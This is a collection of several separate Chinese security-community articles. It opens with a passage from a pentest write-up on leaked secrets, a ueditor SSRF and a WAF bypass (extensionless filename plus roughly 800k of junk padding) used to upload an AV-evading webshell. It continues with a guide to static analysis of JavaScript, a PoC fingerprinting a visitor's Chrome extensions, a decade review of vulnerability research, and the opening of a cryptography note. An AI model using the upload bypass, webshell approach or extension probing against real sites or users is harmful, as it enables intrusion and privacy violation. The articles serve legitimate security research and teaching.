四处翻看目录，偶然间发现一个压缩包
看了看大小，感觉像是源码，下载下来了
果然，泄露了很多secret，有关aliyun、钉钉、wechat、云盘等等
其中部分还与其它公司资产相关联
oss也能成功接管，也涉及了很多的敏感信息（不敢多说，保命要紧）
但还是高兴早了，class相关文件没打包下来。。意味着只能看jsp的源码，也就只有对找接口来说，会方便一些
通过配置文件查看，发现站点改成SSM框架，晕，别想与sql注入相遇了
### 第三处漏洞：bool ssrf
上面下载下来的源码对接的是oa系统，而第一次的源码对应的是主站，所以我将重心又重新转回了oa系统
根据上方的源码可以看到增添了ueditor组件，1.4.3的jsp版本，相信大家都懂
### 第四处漏洞：bypass 多个waf--->getshell
又是通过新的源码，我找到了oa内一个极为隐蔽的上传点
话不多说，登录oa，找到页面开始上传
一开始我先传了个jpg，发现能正常解析
再传了个html，直接g了，显示Connection reset
我心里一惊，常规应该不会那么拦截，多半是有硬件waf
通过大小写上传SVG文件发现，此处应该采用了黑名单，心想，90%是稳了
然而后面的情况让我挺绝望的，光是后缀名这里我就绕过了很久
换行、多个等号、加点、脏数据、不常见后缀名、去掉引号绕过等组合手段，都无一例外的被干掉了
在这里苦苦绕了一晚上
也算是比较好玩吧，这里的开发有一个逻辑，你把content-type改成text/html，再把filename里改成xxx时（不加后缀，直接xxx），系统会自动帮你重命名成时间戳.xxx
于是乎，后缀名就成功绕过了
可内容拦截比较变态，出现一点java特征都不行，连赋值都会被干掉（el表达式除外）
既然是硬件waf，我想到了脏数据绕过，jsp内容中可以包含html的注释
最终经过测试，大约80w的脏数据可以成功绕过
可上传上去冰蝎马后，无法连接，估计是落地就被干掉了，怀疑存在AV，于是厚着脸皮向某前辈白嫖了免杀马
上传成功
这次连接成功，没有被杀掉
看了一眼，艹，全家桶啊简直
最后，象征性的whoami，结束战斗
（本来想进内网的，但想了想，不节外生枝了，如果有机会再说）
## 0x04、结尾
站在前辈们的肩膀上，结合实际情况，巧妙了绕过了waf，也是蛮开心的
最后也是从A手中拿到了应有的奖励
~~安全，狗都不学~~ | 社区文章 |
原文：<https://blog.appsecco.com/static-analysis-of-client-side-javascript-for-pen-testers-and-bug-bounty-hunters-f1cb1a5d5288>
眼下，JavaScript已成为现代Web浏览器中最常用的技术之一，而且，使用客户端JavaScript框架（如AngularJS、ReactJS和Vue.js）构建的应用程序已经将大量功能和逻辑转移至前端。
随着客户端功能/逻辑的增加，客户端的攻击面也会随之增加。
作为安全测试人员，我们必须了解这些应用程序的攻击面。对我们来说，挖掘应用程序中的潜在安全问题，必须掌握相关的信息，为此，必须知道要查找什么信息、在哪里查找以及如何查找所需的信息。
在本文中，我们将为读者介绍如何对客户端JavaScript代码进行静态分析，以挖掘应用程序中潜在的安全问题。
在这篇文章中，我们专注于通过静态分析来发现安全问题。因此，这里不会深入研究性能分析或功能测试。
所谓静态分析，简单来说，就是在不执行代码的情况下，完成相应的分析工作。
**需要寻找哪些信息？**
* * *
作为渗透测试人员，对客户端JavaScript进行静态分析时，我们或多或少会对以下几类信息感兴趣：
1. 能够增加攻击面（URL、域等）的信息
2. 敏感信息（如密码、API密钥、存储设备等）
3. 代码中潜在的危险区域（如eval、dangerouslySetInnerHTML等）
4. 带有已知漏洞的组件（如过时的框架等）
* * *
静态分析过程如下所示：
1. 在应用程序中识别和收集JavaScript文件
2. 提高所收集JavaScript代码的可读性（反精简/去混淆）
3. 识别可以用来挖掘安全问题的线索
**收集JavaScript文件**
* * *
1.如果您使用Burp Suite测试应用程序，那么，可以通过多种方法来收集应用程序中的所有JavaScript文件。
我们可以通过用户驱动的工作流程对Web应用程序进行测试，像最终用户那样，通过“浏览”整个应用程序来开始测试。
通过让Burp代理发送流量来浏览应用程序。完成“浏览”后，我们就可以使用Burp的tool-set来提取所有JavaScript文件了。
-如果您使用的是Burp Suite Community Edition，则可以切换至proxy > HTTP history，并通过显示过滤器仅显示应用程序使用的那些JavaScript文件。您还可以复制显示的所有JavaScript文件的URL。
Burp显示过滤器仅显示给定应用程序的JavaScript文件
复制过滤后显示的所有JavaScript文件的URL
-如果您使用的是Burp Suite Professional版本，那么，您不仅可以复制应用程序中所有JavaScript文件的URL，还可以导出所有脚本。在Target > Site map选项卡中右键单击感兴趣的站点，然后选择Engagement tools> Find scripts，这里不仅能够导出该应用程序中的所有脚本，还可以复制相应的URL。
利用Burp的“Find Scripts”功能识别应用程序中的所有JS文件
利用Burp的"Find Scripts"功能不仅可以导出所有脚本，还能导出相关的URL
2.另一种迅速找出应用程序中的JavaScript文件的方法是挖掘诸如[Wayback Machine](https://archive.org/web/
"Wayback Machine")之类的互联网档案数据库。不过，这种技术完全是被动式的，因为，我们不会向目标应用程序服务器发送任何请求。
挖掘[Wayback Machine](https://archive.org/web/ "Wayback Machine")等互联网档案对于识别应用程序中的JavaScript文件非常有用。有时，您将能够找到服务器上未删除的旧JavaScript文件。
* [waybackurls](https://github.com/tomnomnom/waybackurls/ "waybackurls")是一个利用Wayback Machine搜索目标网站的JavaScript文件（或任何其他URL）的简洁工具。
go get waybackurls
waybackurls internet.org | grep "\.js" | uniq | sort
使用“waybackurls”提取属于Wayback Machine归档中列出的域的JavaScript文件的URL
-使用Wayback Machine时，可能会出现误报的情况，即给出服务器上已经不存在的JavaScript文件。收集JavaScript文件的URL列表后，我们就可以使用curl快速检查服务器上JavaScript文件的状态了
cat js_files_url_list.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk
使用cURL快速检查服务器上JavaScript文件的状态
**提高所收集的JavaScript代码得可读性**
* * *
有时，收集的JavaScript文件可读性非常差。具体原因，可能是开发人员对JavaScript代码进行了精简或混淆处理。
精简是指在不影响浏览器处理资源的方式的情况下，删除不必要或冗余数据的过程，例如删除代码注释和格式化字符、删除未使用的代码、使用较短的变量和函数名称等。
混淆则涉及对程序进行相应的修改，如修改变量、函数和成员的名称，让程序代码变得晦涩难懂。
-有许多工具都可以用来精简JavaScript代码。其中，UglifyJS就是一个简洁的JS代码工具，可以通过npm包安装
使用UglifyJS精简JavaScript代码
-我们可以利用各种工具来精简JavaScript代码。其中，[JS Beautifier](https://github.com/beautify-web/js-beautify "JS Beautifier")不仅可以美化代码，还能对采用某些混淆机制的代码进行去混淆的优秀工具。您可以通过[node.js](https://www.npmjs.com/package/js-beautify "node.js")、[python](https://pypi.org/project/jsbeautifier/ "python")、[online](https://beautifier.io/ "online")或[VS Code](https://github.com/HookyQR/VSCodeBeautify "VS Code")等代码编辑器使用该工具。
使用JS Beautifier解析精简后的JavaScript代码
在执行反混淆处理时，尤其是在逆向分析恶意软件时，没有哪种工具和技术可以解决所有问题。因此，我们将不得不尝试各种工具、反混淆方法，甚至进行手动分析。在对JavaScript代码进行反混淆处理时，有各种工具可用。我们经常使用的一些工具是[JStillery](https://github.com/mindedsecurity/JStillery
"JStillery")、[JSDetox](http://relentless-coding.org/projects/jsdetox
"JSDetox")、[JS-Beautifier](https://github.com/einars/js-beautify "JS-Beautifier")、[IlluminateJs](https://github.com/geeksonsecurity/illuminatejs
"IlluminateJs")、[JSNice](http://www.jsnice.org/ "JSNice")等。
**在JavaScript代码中寻找感兴趣的信息**
* * *
1.在JavaScript文件中寻找的关键信息之一就是端点信息，即完整的URL、相对路径等。
识别完整的URL、JavaScript文件中的相对路径能帮助我们发现攻击面，进而找到更多的安全漏洞
-[Jobert Abma](https://github.com/jobertabma/ "Jobert Abma")提供的[relative-url-extractor](https://github.com/jobertabma/relative-url-extractor "relative-url-extractor")工具能够非常方便快速地找出JavaScript文件中的所有相对路径。这个工具可以在本地和远程JavaScript文件上使用。此外，该工具还可以直接用于经过精简处理的JavaScript代码。
使用relative-url-extractor工具从远程JS文件中提取相对路径
-在识别JavaScript文件中的所有端点及其参数方面，[Gerben Javado](https://github.com/GerbenJavado "Gerben Javado")提供的[LinkFinder](https://github.com/GerbenJavado/LinkFinder "LinkFinder")工具用起来也非常方便。该工具也能直接用于经过精简处理的JavaScript代码，它会通过jsbeautifier来解析JavaScript代码。此外，还可以将其用于域名，以枚举所有JavaScript文件。
python linkfinder.py -i https://example.com -d -o cli
使用LinkFinder从应用程序的所有JS文件中提取端点信息
1. [CloudScraper](https://github.com/jordanpotti/CloudScraper "CloudScraper")是一种搜索云资源的工具，可以用来抓取目标。该搜索过程的副产品是，该工具还可以识别托管在云服务（如Amazon S3 Buckets）上的所有JavaScript文件。此外，该工具还可以查看JavaScript文件内容，进而寻找对云资源的引用。
使用CloudScraper识别源代码中的云资源
1. JavaScript文件还可能包含敏感信息，如凭据和API密钥。从广义上讲，我们可以使用正则表达式或熵来识别源代码文件中的秘密。正则表达式搜索方法，将能够识别用户设置的相关凭据，例如用户名和密码。基于熵的搜索方法，在识别随机性较大的秘密（例如API密钥和令牌）信息方面是非常有效的。
2. [truffleHog](https://github.com/dxa4481/truffleHog "truffleHog")是一个在源代码文件中搜索秘密信息的神奇工具。该工具支持基于熵和基于正则表达式的搜索。在正则表达式搜索方法和熵搜索方法中，truffleHog还能够轻松实现高度的定制化。
3. 但是，千万不要忘记，在搜索源代码文件的特定敏感信息时，grep/sed/awk命令的功能也非常强大。
4.在查看JavaScript文件时，重要的是识别代码中的危险区域，即开发人员往往会犯错误的地方，安全问题往往就在这里。
* innerHTML的应用意味着可能存在XSS漏洞。在现代客户端的JavaScript框架中，确实存在innerHTML的等价物，例如在React框架中恰当命名的dangerouslytSetInnerHTML，[在过去它们确实会导致严重的安全漏洞](https://thehackerblog.com/i-too-like-to-live-dangerously-accidentally-finding-rce-in-signal-desktop-via-html-injection-in-quoted-replies/index.html "在过去它们确实会导致严重的安全漏洞")。在Angular中，如果bypassSecurityTrustX方法使用不当，也会导致XSS问题。此外，在客户端和服务器端，eval函数都是一个容易出现安全问题的地方。
Angular中的bypassSecurityTrustX方法列表
* [postMessage API](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage "postMessage API")是JSONP、带有CORS头部的XHR和其他方法的替代品，可以通过绕过同源策略（SOP），在不同的域之间发送数据。如果不仅能够绕过SOP，并且还能与不同域进行通信的话，这些正是攻击者所梦寐以求的。使用postMessage时，也存在各种[安全隐患](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/ "安全隐患")。一旦知道了与postMessage相关的潜在安全问题，就可以在JavaScript文件中查找相关的实现代码了。在消息发送方，可以查找window.postMessage方法，而在接收方，则可以查找监听器window.addEventListener。需要牢记的是，很多框架都对postMessage实现了封装。
* localStorage和sessionStorage是HTML Web存储对象。通过web存储，Web应用程序可以在用户的浏览器中本地存储数据。通过Web存储来识别其中存储的是哪些内容是非常重要的，因为其中一旦存储了敏感内容，就可能导致潜在的安全问题。为吃，我们可以在JavaScript中查找window.localStorage和window.sessionStorage方法。
在JavaScript中寻找可能导致潜在安全问题的危险代码高度依赖于正在使用的框架。我们应该首先确定使用了哪些框架，接着识别框架中的危险函数，然后就可以在源代码中查找它们了。
5。使用安全linter和静态安全扫描器可以很轻松地识别JavaScript代码中的容易识别的安全漏洞。[JSPrime](https://github.com/dpnishant/jsprime
"JSPrime")是一个静态分析工具，用于查找JavaScript代码中的安全隐患，但是该项目已经有一段时间没有更新了。[ESLint](https://github.com/eslint/eslint
"ESLint")是最流行的JavaScript
linter之一。通过添加自定义[规则](https://github.com/LewisArdern/eslint-plugin-angularjs-security-rules "规则")，ESLint很容易定制。ESLint有很多自定义安全规则，特别是针对Angular、React等现代框架的规则。
ESLint利用Angular的安全规则找到的潜在安全问题
6.在进行安全评估时，识别应用程序中使用的过时的和易受攻击的JavaScript框架/库是非常重要的一件事情。[Retire.js](https://retirejs.github.io/retire.js/
"Retire.js")是一个可以识别正在使用的过时JavaScript框架的工具。该工具可用作独立工具、浏览器插件、grunt插件或Burp/ZAP插件。如果您以用户驱动的方式执行测试，则RetireJS
Burp插件会特别有用。由于RetireJS会出现误报，因此RetireJS报告的库并非都是易受攻击的。
RetireJS的Burp suite插件报告了一个过时的JavaScript库
**小结**
* * *
在本文中，我们介绍了一种对客户端JavaScript代码进行静态分析的通用方法。在这里，我们给出了一个完整的工作流程，包括从收集JavaScript文件到使用JavaScript代码查找安全问题的整个过程，希望对大家能够有所帮助。
**参考资料**
* * *
[Performing JavaScript Static Analysis by Lewis Ardern
[Video]](https://www.youtube.com/watch?v=mGUsCAWwLGg&t=2601s "Performing
JavaScript Static Analysis by Lewis Ardern \[Video\]")
<https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/>
<http://blog.blueclosure.com/2017/10/javascript-dangerous-functions-part-2_29.html>
<https://reverseengineering.stackexchange.com/questions/4561/how-to-deobfuscate-an-obfuscated-javascript-file-like-this>
<https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/>
<https://angular.io/guide/security>
<https://blog.jse.li/posts/marveloptics-malware/> | 社区文章 |
# 【技术分享】点我的链接我就能知道你用了哪些chrome插件
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
咳咳，我知道干货一般阅读量会比较低，所以我借用了安全圈段子讲的最好的人惯用的漏洞标题风格。
由YSRC安全研究员evi1m0和neargle挖掘并编写poc，测试链接在文末。需要指出的是这是一个p(标)o(题)c(党)，探测不全是正常的，本身就有很多插件不可以利用文中的方式探测，要不然就变成发chrome的0day了~
**0x01 About**
编写过 Chrome 扩展的开发人员都应该清楚在 crx 后缀的包中， manifest.json 配置清单文件提供了这个扩展的重要信息，crx
后缀文件可以直接使用 unzip 解压，Windows
下的安装后解压的路径在：C:UsersAdministratorAppDataLocalGoogleChromeUser
DataDefaultExtensions ，MacOS 在：cd ~/Library/Application
Support/Google/Chrome/Default/Extensions ，其中 manifest.json 的样例：
➜ 0.7.0_0 cat manifest.json
{
"background": {
"scripts": [ "background.js" ]
},
"content_scripts": [ {
"all_frames": true,
"js": [ "content.js" ],
"matches": [ "http://*/*", "https://*/*", "ftp://*/*", "file:///*" ],
"run_at": "document_end"
} ],
"description": "Validates and makes JSON documents easy to read. Open source.",
"homepage_url": "https://github.com/teocci/JSONView-for-Chrome",
"icons": {
"128": "assets/images/jsonview128.png",
"16": "assets/images/jsonview16.png",
"48": "assets/images/jsonview48.png"
},
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApA/pG/flimvWWAeUelHGaQ+IJajQm01JkfK0EYOJPyfsdTkHLwD3Aw16N3zuFkmwz09DcGDT+ehww7GSpW7RpbX5kHrovsqyHXtwt+a2Sp8bYFFdpRPj3+HG6366kNkwttDHMtsDkwuKaBtrQofQe5Ud9mKu9h1FDPwc2Qql9vNtvOqKFhV+EOD0vD2QlliB6sKCteu4nYBlFEkh6pYWRaXdAYSKYdE1SYIuQzE3dk11+KCaAC1T6GffL3sia8n5brVX7Qd+XtXyBzuM54w5e3STwK7uLMhLGDIzHoTcldzWUUflfwuI86VQIFBxPbvXJKqFFFno+ZHs/S+Ra2SPmQIDAQAB",
"manifest_version": 2,
"minimum_chrome_version": "21",
"name": "JSON Viewer",
"permissions": [ "clipboardWrite", "http://*/", "contextMenus", "https://*/", "ftp://*/" ],
"short_name": "JSONViewer",
"update_url": "https://clients2.google.com/service/update2/crx",
"version": "0.7.0",
"web_accessible_resources": [ "assets/options.html", "assets/csseditor.html", "assets/css/jsonview.css", "assets/css/jsonview-core.css", "assets/css/content_error.css", "assets/images/options.png", "assets/images/close_icon.gif", "assets/images/error.gif" ]
}
可以看到关于这个扩展的 content_scripts, desc, homepage, icons 等等配置信息，其中 manifest_version
字段标明现在的 rule 为 2.0 版本，在 2012 年 Chrome 便将 1.0 manifest.json
配置版本的扩展禁止新建在应用市场中，但允许更新，直到 2014 年彻底禁用所有的 version 1.0 版本扩展/应用并更新至
2.0，其中一大部分原因是由于新版规则上安全性的提升。
**0x02 Manifest**
2.0 中关于 CSP 的强制应用，要求开发者配置 content_security_policy ，如果未设置的话则使用 Chrome 的默认
manifest csp 规则；
不同于老版本的规则，crx 下的资源文件不再是默认可用（直接访问）的图像、资源、脚本。如果想让网站能够加载其资源就必须配置
web_accessible_resources 清单；
删除 chrome.self API ，使用 chrome.extension 替代；
…
**0x03 script <–> onload / onerror**
在多年前的 ChromeExtensions 探测中我们可以直接探测静态资源文件来判断是否存在，在上面的更新变动中可以看到，如果访问资源则必须在
web_accessible_resources 中声明 LIST （可以使用通配符），拿 json-view 举例：
"web_accessible_resources": [ "assets/options.html", "assets/csseditor.html", "assets/css/jsonview.css", "assets/css/jsonview-core.css", "assets/css/content_error.css", "assets/images/options.png", "assets/images/close_icon.gif", "assets/images/error.gif" ]
访问他们资源的 URL 格式如下：
'chrome-extension://' + id + web_accessible_resources
在测试的过程中我们发现大量的扩展禁止了 iframe 内嵌访问，这里我们可以使用 script 加载页面的差异化来判断是否存在文件：
<script src="chrome-extension://aimiinbnnkboelefkjlenlgimcabobli/assets/options.html" onload="('json-view!')" onerror="(':(')"></script>
**0x04 Chrome Extensions Spider**
我们编写了爬虫获取整个[谷歌商店](https://chrome.google.com/webstore/category/extensions?hl=en-US)中的扩展应用（id, name, starts, users, category, url），分类如下：
'ext/10-blogging',
'ext/15-by-google',
'ext/12-shopping',
'ext/11-web-development',
'ext/1-communication',
'ext/7-productivity',
'ext/38-search-tools',
'ext/13-sports',
'ext/22-accessibility',
'ext/6-news',
'ext/14-fun',
'ext/28-photos'
截至 2017年初 谷歌商店扩展应用总数量为 42658 ，我们将这些 crx 全部进行下载分析其 manifest.json 的编写规则，发现 12032
个扩展可以探测，在之后的实际测试过程中也发现探测应用的成功率为 1/3 ~ 1/4 ，比较客观，保存的 JSON 格式如下：
{
"web_accessible_resources": [
"19.png",
"48.png",
"i/4000.png"
],
"name": "Facepad for Facebooku2122",
"stars": 497,
"id": "cgaknhmchnjaphondjciheacngggiclo",
"url": "https://chrome.google.com/webstore/detail/facepad-for-facebook/cgaknhmchnjaphondjciheacngggiclo",
"category": "ext/10-blogging",
"users": "11,686"
},
{"web_accessible_resources": ["reload.js"], "name": "Refresh for Twitter", "stars": 184, "id": "hdpiilkeoldobfomlhipnnfanmgfllmp", "url": "https://chrome.google.com/webstore/detail/refresh-for-twitter/hdpiilkeoldobfomlhipnnfanmgfllmp", "category": "ext/10-blogging", "users": "31,796"
},
{
"web_accessible_resources": ["main.css", "lstr.js", "script.js", "images/close.png", "images/back.png", "images/icon19.png", "images/play.png", "images/stop.png", "images/prev.png", "images/down.png", "images/next.png", "images/delete.png", "classes/GIFWorker.js"], "name": "MakeGIF Video Capture", "stars": 309, "id": "cnhdjbfjheoohmhpakglckehdcgfffbl", "url": "https://chrome.google.com/webstore/detail/makegif-video-capture/cnhdjbfjheoohmhpakglckehdcgfffbl", "category": "ext/10-blogging", "users": "55,360"
},
{
"web_accessible_resources": ["js/move.js"], "name": "Postagens Megafilmes 2.1", "stars": 0, "id": "ekennogbnkdbgejohplipgcneekoaanp", "url": "https://chrome.google.com/webstore/detail/postagens-megafilmes-21/ekennogbnkdbgejohplipgcneekoaanp", "category": "ext/10-blogging", "users": "2,408"
},
...
**0x05 ProbeJS**
通过编写脚本可以加载并探测本地扩展是否存在，虽然需要触发大量的请求来探测，但由于是访问本地资源其速度仍然可以接受，我们过滤出 users 1000
以上的扩展来进行筛选探测（ testing 函数动态创建并删除不成功的 dom 探测节点）：
https://sec.ly.com/poc/ext_probe.html
// json data parse
$.get("ext1000up.json" + "?_=" + new Date().valueOf(), function(ext){
for (let n in ext.data) {
var id = ext.data[n].id;
var name = ext.data[n].name;
var war = ext.data[n].web_accessible_resources;
var curl = ext.data[n].url;
testing(id, name, war, curl);
}
$('#loading').remove();
})
...
搜索“同程安全”或者扫描下方二维码关注YSRC公众号，招各种安全岗，欢迎推荐。 | 社区文章 |
**作者：王铁磊@盘古实验室
公众号：<https://mp.weixin.qq.com/s/UBZv0pd7Nr-o-NMxjV53RQ>**
随着2019年进入最后一个月，整个2010年代即将成为过往。过去十年漏洞领域的研究发展，可谓波澜壮阔、精彩纷呈。我屡次提笔试图记录这十年的技术发展，最终都因为这个事情的难度远远超出自己的预想而弃笔。不过有些想法不吐不快，索性简单总结些个人观点，抛砖引玉供人讨论、补充和参考。
## 1、后PC时代，控制流完整性 (Control flow integrity) 成为新的系统安全基础性防护机制
2000年代后期，地址空间随机化(ASLR)和数据执行保护(DEP/W^X)成为两项通用的基础性漏洞利用缓解机制。不幸的是，利用漏洞实现内存信息泄漏绕过ASLR进而基于ROP/JOP/Data-only attack等攻击技巧实现任意代码执行成为攻击者的标配 (更多内存漏洞攻防技术信息，参考《SoK: Eternal War in
Memory》，<https://people.eecs.berkeley.edu/~dawnsong/papers/Oakland13-SoK-CR.pdf>）。面对大量绕过ASLR和(DEP/W^X)的漏洞利用样本，学术界再次掀起了针对细颗粒度ASLR和Anti-ROP的研究高潮。最终，在诸多潜在技术解决方案中，（粗颗粒度的）控制流完整性技术赢得了市场 (不同CFI机制实现细节和对比，参考 《Control-Flow
Integrity: Precision, Security, and
Performance》<https://nebelwelt.net/publications/files/17CSUR.pdf>)。为此，英特尔芯片中新增了CET特性（Control-flow Enforcement Technology），支持粗颗粒度前向跳转地址验证和基于Shadow Stack Register的返回地址验证，ARM
V8.3标准中增加了PAC（Pointer Authentication
Code）特性，支持对数据或者代码指针完整性的验证；LLVM、GCC、VisualStudio等主流编译器中支持开启CFI特性的编译选项；Windows、Android、iOS等操作系统都已经在用户态和内核态实现不同粒度的CFI机制。
CFI机制可以有效缓解控制流劫持类型的漏洞利用技术。但是，如果漏洞利用过程中不依赖于控制流劫持即可获取任意内存读写能力，CFI机制也无法保证内存数据的完整性和机密性。例如，2014年爆发的Heartbleed漏洞是由OpenSSL库心跳协议解析过程中的内存越界读引起的；攻击者可以利用该漏洞读越界读取服务器内存中的敏感信息。面对这种“简单粗暴”的越界读，CFI也无能为力。现阶段基于软件的CFI实现，很难对函数返回地址有效验证；基于硬件的CFI实现，依赖于新型硬件支持，普及范围有限。此外，实现覆盖操作系统内核、系统服务和用户态应用的全栈CFI尚需时间，攻击者可以对尚未应用CFI或CFI实现不完备的模块攻击。
## 2、令人“惊喜”的硬件安全特性与硬件安全漏洞
过去十年里，64位芯片大范围普及，在性能大幅提高的同时，增加了很多新的安全特性。Intel芯片相继支持SMEP (Supervisor Mode
Execution Prevention)和SMAP (Supervisor Mode Access
Prevention)特性，ARM平台上实现相应的PXN (Privileged Execute Never)和PAN(Privileged Access
Never)特性，强化了内核和用户态之间的隔离。Intel早在2016年就发布的CET特性，终于有望在下一代Tiger Lake处理器中实现。ARM
v8.3 中PAC特性在苹果A12系列芯片得到了实现，自iPhone Xs起，iPhone家族正式进入到PAC时代；结合新的PPL (Page
Protection Layer)机制，iPhone设备上代码动静态完整性得到了前所未有的保护。2018年，ARM公布了v8.5，其中MTE（Memory
Tagging Extension）特性有望有效缓解内存越界类的安全漏洞。
这些已经部署和即将部署的硬件安全特性令人对下一阶段系统安全充满期许，而过去几年中暴露出来的硬件底层安全漏洞同样令人吃惊。2014年，CMU的研究人员在计算机体系结构领域顶级会议ISCA上，发表了题目为“Flipping
Bits in Memory WithoutAccessing Them: An Experimental Study of DRAM
Disturbance
Errors”的论文，介绍了影响深远的Rowhammer问题：高频访问DRAM内存单元可能引起临近内存单元中数据bit反转。几个月后，Google
Project
Zero团队就成功利用该问题实现了沙盒逃逸和内核提权(<https://www.blackhat.com/docs/us-15/materials/us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges.pdf>)；其他研究团队进一步在浏览器环境、移动设备环境里重现和利用了这个问题。尽管很多研究人员提出了缓解Rawhammer问题的方法，从成本、性能、有效性等角度综合考量，彻底杜绝Rawhammer问题仍面对巨大挑战。
除了存储器件，处理器本身也问题重重。长久以来，不断有研究讨论处理器某些新增特性会引起侧信道攻击，安全和性能的冲突愈发严重。处理器侧信道这一问题在2017年集中爆发。多个研究团队相继公开了Spectre、Meltdown以及各种变形攻击，利用处理器乱序执行、分支预测、推测执行等核心特性，达到绕过内存隔离机制越权读取内存的效果。这些侧信道攻击不仅可以使ASLR安全防护机制失效，甚至可以导致Container、SGX等执行环境中隐私数据泄漏。考虑到这些芯片的巨大存量以及修复的复杂性，Spectre、Meltdown
这些攻击的长尾效应会非常明显。
## 3、旧瓶装新酒，移动设备的安全设计实现弯道超车
2010年代，移动互联网的爆发式增长离不开两大移动操作系统的发展：iOS和Android。放下了兼容性等沉重包袱，移动操作系统的设计者们获得了从零开始设计安全架构的机遇。虽然iOS和Android起源于“古老”的XNU和Linux，移动操作系统的设计者们从桌面操作系统陷入安全困局的过程中学习到了足够多的教训。移动操作系统从全新视角处理用户、设备、应用和开发者的关系，打造了新的移动生态环境，在此基础上全方位的从信任根存储、可信启动链、固件开放度、版本控制、应用分发、权限管理、沙盒设计、数据加密、硬件隔离环境等角度改进终端安全。在对抗漏洞利用的策略上，移动操作系统不仅快速部署了PC系统中通用的漏洞缓解机制，而且不断采用软硬件相结合的漏洞利用封堵机制。与桌面操作系统对比，移动操作系统的安全性实现了弯道超车。
不过，移动设备面对的攻击也越来越多。尽管难度越来越大，业界一直都存在针对最新iOS设备的越狱；野外针对iPhone的远程攻击样本多次被捕获；从初代iPhone到iPhone
X之间所有iOS设备的Bootrom中都存在安全漏洞，由于Bootrom代码固化在硬件中，这些漏洞无法通过软件升级修复，致使这些设备永远都能越狱。对于Android设备，TEE
(Trusted
ExecutionEnvironment)是具备最高权限的执行环境；然而，研究人员在不同厂商Android设备的TEE里都发现过高危安全漏洞；随着承载的功能越来越多、攻击面越来越大，TEE面临的考验依然十分严峻。
## 4、网络入口争夺战愈演愈烈
2010年代，作为最主要的网络入口，浏览器成为各大巨头公司的争夺焦点。同样的，浏览器也成为了网络攻击的焦点。自2007年起，漏洞军火商ZDI公司每年都会举办PWN2OWN比赛(<https://en.wikipedia.org/wiki/Pwn2Own>)，浏览器一直都是比赛的重头戏。在这十年里，各家厂商开始了漫长的浏览器安全治理之路：一方面不断强化隔离策略，尝试将不同功能模块拆分到不同执行空间，细化内存管理器，实现不同对象堆空间隔离等，提高漏洞利用难度；另一方面采用筑墙策略，不断细化浏览器沙盒规则，缩减系统暴露给浏览器的攻击面，降低已获取任意代码执行能力的情况下漏洞造成的危害。这十年中，浏览器一再被攻破，但是攻击的难度也越来越高。诸如Chrome浏览器的沙盒逃逸和PAC环境下Safari浏览器的任意代码执行等问题都是当下研究的难点。不过可预见的，浏览器攻防对抗仍将是下个十年的热点。
继浏览器之后，WiFi协处理器、BaseBand基带、蓝牙也都成为攻击对象。2017年，Google Project
Zero成功展示了通过畸形WiFi信号，攻击WiFi协处理器中漏洞并以此为跳板控制Android和iPhone手机内核的完整攻击链。最近几期的Mobile
Pwn2own比赛中，手机基带已经成为常规项目：攻击者通过伪基站信号，攻击BaseBand基带的漏洞。另外，作为网络拓扑中的一个重要缓解，路由器也成为攻击的重灾区。不幸的是，很多路由器厂商显然还没有做到准备，旗下产品在各种破解大赛中屡次被攻破；选手所利用的漏洞大多是简单命令注入或最传统的堆栈溢出。
针对即时通信工具、社交软件、邮件客户端的远程攻击威力巨大。2019年的BlackHat USA峰会上，Google Project
Zero、盘古团队、和微软安全团队分别披露iMessage、Facetime和OutLook客户端的远程漏洞；针对WhatsApp的远程攻击样本在野外捕获。反观国内，微信、QQ、微博，这些拥有庞大用户量的社交软件，安全性到底如何呢？作为参考，2017年，我们在一个流行解压库里发现路径穿越的问题，结果当时的微博、陌陌、快手、网易云音乐、QQ音乐等应用都受影响；通过流量劫持触发该漏洞并覆盖热补丁文件后，我们在微博应用里获取了任意代码执行的能力。
对于传统PC和服务器而言，网络服务的安全性仍旧令人担忧。2017年，Windows SMB
协议的安全漏洞“永恒之蓝”披露后，爆发了席卷全球的Wannacry类蠕虫病毒。
## 5、自动化漏洞挖掘和利用仍需提高
提到漏洞研究，不能不提自动化漏洞挖掘。2000年代涌现出一大批基于程序静态分析的漏洞检测技术，但在2010年代，模糊测试fuzzing赢得了更多检验和认可，程序静态分析则更侧重于服务于fuzzing的样生成和反馈指导。以ClusterFuzz,
OSS-Fuzz,
AFL等为代表的工业界fuzzing工具在实战中发现了大批软件安全漏洞，学术会议上关于fuzzing的论文也越来越多。更可喜的是，关于自动化生成漏洞利用样本的研究也越来越多。Google
Project Zero 所披露的漏洞中，fuzzing所发现的比例高达37%；
不过，人工审计发现的比例是54.2%(<https://i.blackhat.com/USA-19/Thursday/us-19-Hawkes-Project-Zero-Five-Years-Of-Make-0day-Hard.pdf>)，人力仍然是漏洞挖掘的最宝贵资源。
## 6、总结
2020年代迎来了5G，真正的万物互联时代将到来，漏洞的影响范围会因此越来越广。一方面，核心系统的安全防护会继续提升；面对这些最新、最全面的防护机制，攻击研究的难度会越来越大，高价值漏洞和利用技巧将成为稀缺资源。另一方面，安全防护的短板效应会进一步放大。在万物皆可被攻击的环境里，各种薄弱环节将成为攻击者的首选目标。如何从单点防护扩展到系统化全局防护体系建设可能迎来新的机会。
* * * | 社区文章 |
# 密码学学习笔记：浅析On r-th Root Extraction Algorithm in Fq
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
在NCTF上遇到了一道出题人用来压轴的RSA，与正常RSA加密不同的是，本题的e是φ(p)和φ(q)的一个因子。在出题人给出hint后，我找到了一篇paper，侥幸用paper中提到的算法拿到了一血~
该算法可以在有限域Fq中开r次根，但需要s，满足r^s整除q-1，即r^s | q-1，并且s要小。
## On r-th Root Extraction Algorithm in Fq
paper： https://eprint.iacr.org/2013/117.pdf
### 引言：
我们让r为一个大于1的整数，那么有现存的两种算法用来在有限域Fq中开r^s次根， the Adleman-Manders-Miller algorithm
和 the Cipolla-Lehmer algorithms
